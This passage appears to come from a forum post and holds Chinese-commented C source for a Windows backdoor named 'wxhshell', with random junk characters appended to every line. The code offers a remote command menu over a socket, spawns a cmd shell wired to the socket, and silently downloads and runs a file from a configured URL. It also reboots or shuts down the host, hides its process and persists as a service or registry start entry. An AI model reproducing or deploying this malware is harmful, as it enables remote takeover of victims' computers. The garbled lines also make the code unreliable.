    switch(cmd[0]) {  A4  
  $-ICTp  
  // 帮助 [JyhzYf\   
  case '?': { o~J~-$T{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q88;{?T1  
    break; {Ne5*HFV  
  } _(1Shm  
  // 安装 HBp$   
  case 'i': { :N>n1tHL;A  
    if(Install()) zPn 2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k=M_2T'  
    else QuWW a|g^.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lNs;-`I~  
    break; >pRC$'Usx  
    } fjP(r+[  
  // 卸载 Y~"5HP|  
  case 'r': { c[<>e#s+;  
    if(Uninstall()) c3]`W7E6L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xixdv{M<FF  
    else &V77Wn OY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X4I+  
    break; _CImf1  
    } vzH"O=  
  // 显示 wxhshell 所在路径 <TQ,7M4X  
  case 'p': { b<E+5;u  
    char svExeFile[MAX_PATH]; J@lQzRqRb  
    strcpy(svExeFile,"\n\r"); "eG@F  
      strcat(svExeFile,ExeFile); 0Q4i<4 XW  
        send(wsh,svExeFile,strlen(svExeFile),0); 7Adg;  
    break; }8&?  
    } hy|Yy&-  
  // 重启 Lh;U2pA  
  case 'b': { \h48]ZjC`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7GG:1:2+>  
    if(Boot(REBOOT)) >O$ JS,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y)*W!]:7^>  
    else { [ @ASAhV^+  
    closesocket(wsh); &w'1  
    ExitThread(0);  e gdbv  
    } |9Pi*)E  
    break; ;6AanwR6  
    } sEzl4I  
  // 关机 Fz.Ij'8.H  
  case 'd': { Da-U@e!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); WNo7`)Kx  
    if(Boot(SHUTDOWN)) R8bKE(*rxj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0i3Z7l]  
    else { Gr8%%]1!0  
    closesocket(wsh); ,`,1s 9\&t  
    ExitThread(0); NE5H\  
    } Z66h  
    break;  "[ #.  
    } cJLAP%.L  
  // 获取shell =Vat2'>+  
  case 's': { /mG-g%gE  
    CmdShell(wsh); u ?7^+z  
    closesocket(wsh); Y?#aUQc  
    ExitThread(0); vTsMq>%,<  
    break; Ou7nk:I@  
  } GFTOP%Tgl  
  // 退出 K3xt,g  
  case 'x': { 2|\WaH9P  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :`B70D8ku  
    CloseIt(wsh); ^ /ZNdwx  
    break; f)1*%zg%  
    } VOGx  
  // 离开 vw w>]Z}  
  case 'q': { Zdy{e|-Zn  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -Dy":/Bk  
    closesocket(wsh); +F]=Z  
    WSACleanup(); >qS2ha  
    exit(1); y&L Lx[8 ^  
    break; Fk`|?pQm  
        } a3J' c  
  } `MC5_SG 1  
  } C Ef*:kr  
D%~"]WnZ\Q  
  // 提示信息 9Yhl q$;g  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J b?x-%Za  
} @~&1!  
  } b ,e"x48q  
~xt]g zp{  
  return; S{jm4LZ  
} i6P'_  
p735i`8  
// shell模块句柄 t03T1.:(Mg  
int CmdShell(SOCKET sock) WP5Vev9*+  
{ e(H{C  
STARTUPINFO si; X:mm<4  
ZeroMemory(&si,sizeof(si)); 7G=Q9^J.H  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ijACfl{!:t  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +:3s f%0  
PROCESS_INFORMATION ProcessInfo; =wznkqyhi  
char cmdline[]="cmd"; yA~1$sA1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d]vom@iI  
  return 0; y<kg;-& 8  
} s1bb2R  
-,q qQf  
// 自身启动模式 i hcSSUm  
int StartFromService(void) nm,(Wdr  
{ 2$b JMx>  
typedef struct wGgeK,*_  
{ @k9n0Qe|F  
  DWORD ExitStatus; z:oi @q  
  DWORD PebBaseAddress; n{(,r'  
  DWORD AffinityMask; ^G14Z5.  
  DWORD BasePriority; <9]J/w+  
  ULONG UniqueProcessId; eCjyx|:J  
  ULONG InheritedFromUniqueProcessId; [&sabM`Ul  
}   PROCESS_BASIC_INFORMATION; K"cV7U rE  
:Q ?p^OC  
PROCNTQSIP NtQueryInformationProcess; &2r[4  
Uc9hv?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E&dxM{`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rN'8,CV  
M>ntldV#g%  
  HANDLE             hProcess; Q})&c.L  
  PROCESS_BASIC_INFORMATION pbi; QYps5zcn  
\Nj#1G  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _wUg+Xs]  
  if(NULL == hInst ) return 0; 5a|{ytP   
S5\KI+;PW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f h:wmc'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); nh? JiH {  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K=> j+a5$  
kG u{[Rh  
  if (!NtQueryInformationProcess) return 0; C8%MKNPd  
,V[|c$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5DJ!:QY!  
  if(!hProcess) return 0; e_}tK1XY  
|3BxNFe`%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xAr&sGMA  
)JhB!P(  
  CloseHandle(hProcess); R-tZC9 @  
+5Ju `Z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); U$WGe >,  
if(hProcess==NULL) return 0;  S8O,{  
%WPy c%I  
HMODULE hMod; O*yA50Cn  
char procName[255]; p@U[fv8u  
unsigned long cbNeeded; ]U&<y8Q_6  
~Rw][Ys  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R`M@;9I.@  
HLPY%VeD  
  CloseHandle(hProcess); K^I B1U$  
erOj(ce  
if(strstr(procName,"services")) return 1; // 以服务启动 |>b;M ,`OO  
+zK?1llt  
  return 0; // 注册表启动 K/_"ybR7  
} 4m6/ ba  
UkcH+0o  
// 主模块 \f7R^;`_<R  
int StartWxhshell(LPSTR lpCmdLine) T(Ji%S >  
{ -/:K.SY,  
  SOCKET wsl; QZJnb%]  
BOOL val=TRUE; KE-0/m4yJ  
  int port=0; )hC3'B/[Y  
  struct sockaddr_in door; e/x6{~ju^N  
T.W^L'L `  
  if(wscfg.ws_autoins) Install(); lUdk^7:M  
tT+W>oA/M  
port=atoi(lpCmdLine); F<b/)<Bm=  
Rh%@N.Z*  
if(port<=0) port=wscfg.ws_port; _w2%!+'  
$,0EV9+af  
  WSADATA data; $xis4/2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E=91k.  
\Nk578+AA  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3R)|DGql=1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )4N1EuD6  
  door.sin_family = AF_INET; ]|u7P{Z"R  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); X^rFRk  
  door.sin_port = htons(port); mY]o_\`  
<d O ~;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { LI<Emez  
closesocket(wsl); G8'  
return 1; ab`9MJc;  
} 5!aI~(3<  
~[=d{M!$W  
  if(listen(wsl,2) == INVALID_SOCKET) { g_0| `Sm  
closesocket(wsl); n2|@Hz_  
return 1; AR{$P6u!%|  
} =Y*@8=V  
  Wxhshell(wsl); >M0^R} v  
  WSACleanup(); <[$a7l i  
]x(6^:D5  
return 0; Dl,sl>{  
Sj o-Xf}  
} w`v` aw]  
lbPn<  
// 以NT服务方式启动 "&o"6ra }  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |T]&8Q)S  
{ y`z4S,  
DWORD   status = 0; ,L4zhhl!_  
  DWORD   specificError = 0xfffffff; >v f-,B  
(?ULp{VPFl  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^]Q.V  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %<8r`BMo  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; WJ^]mpH9  
  serviceStatus.dwWin32ExitCode     = 0; EMpq+LrN  
  serviceStatus.dwServiceSpecificExitCode = 0; 2:<H)oB  
  serviceStatus.dwCheckPoint       = 0; JeF$ W!!{  
  serviceStatus.dwWaitHint       = 0; h!Y##_&&4  
3i\Np =  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |kD69 }sG  
  if (hServiceStatusHandle==0) return; 1/i1o nu}  
(xKypc+j  
status = GetLastError(); }^VikT]>1  
  if (status!=NO_ERROR) /%gMzF  
{ \UX9[5|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; CH q5KB98+  
    serviceStatus.dwCheckPoint       = 0; Uy*d@vU9c  
    serviceStatus.dwWaitHint       = 0; A 8-a}0Gh  
    serviceStatus.dwWin32ExitCode     = status; N1$PW~)Y  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1K(mdL{m5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); PF#<CF$=  
    return;  P1)87P  
  } fs-LaV 0  
tx)$4v  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ya[f? 0b0  
  serviceStatus.dwCheckPoint       = 0; *.KVrS<B1  
  serviceStatus.dwWaitHint       = 0; `VvQems  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8(\J~I[^  
} FA := )  
#,97 ]  
// 处理NT服务事件,比如:启动、停止 1Oq VV?oz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) o+)y!  
{ L=fy!R  
switch(fdwControl) 1yqsE`4f  
{ q*tGlM@R?  
case SERVICE_CONTROL_STOP: bZ:xH48MY  
  serviceStatus.dwWin32ExitCode = 0; F1BXu@~e(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %yd(=%)fMB  
  serviceStatus.dwCheckPoint   = 0; y4$$*oai&  
  serviceStatus.dwWaitHint     = 0; Xfbr;Jt"<  
  { B/o8r4[80  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4O.R=c2}7>  
  } Vw.)T/B_D  
  return; G B"Orm.  
case SERVICE_CONTROL_PAUSE: z30 mk  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; nkTdn  
  break; <Q"G aqZ  
case SERVICE_CONTROL_CONTINUE: fK *l?Hr  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; s:_a.4&Y  
  break; g$zGiqzMK  
case SERVICE_CONTROL_INTERROGATE: '.<c[Mp  
  break; cd=|P?B i  
}; g'{?j~g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ryh 0r  
} (:O6sTx-hE  
<&gs)BY  
// 标准应用程序主函数 T>7N "C  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) m{$}u@a  
{ <QC7HR  
uPapINj  
// 获取操作系统版本 sINf/mv+  
OsIsNt=GetOsVer(); LI&E.(:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3 S*KjY'@  
*SIYZE'  
  // 从命令行安装 Vh2uzG  
  if(strpbrk(lpCmdLine,"iI")) Install(); /xcXd+k]  
<m\<yZ2aa  
  // 下载执行文件 {2m F\A#.  
if(wscfg.ws_downexe) { -84%6p2-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R4P&r=?  
  WinExec(wscfg.ws_filenam,SW_HIDE); >)G[ww[  
} uK`gveY  
>d&0a:  
if(!OsIsNt) { D _[NzCv<-  
// 如果时win9x,隐藏进程并且设置为注册表启动 <SQR";  
HideProc();  o0>|  
StartWxhshell(lpCmdLine); V6'u\Ch|  
} h::(b,|f7  
else z^jmf_  
  if(StartFromService()) ^suQ7#g  
  // 以服务方式启动 "I:*  
  StartServiceCtrlDispatcher(DispatchTable); ^IyQzBOj  
else .'Q*_};W  
  // 普通方式启动 I8% -ii  
  StartWxhshell(lpCmdLine); WTM  
eThFRU3 F  
return 0; Nnr[@^M5  
}
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只看该作者 1 发表于: 2006-10-10
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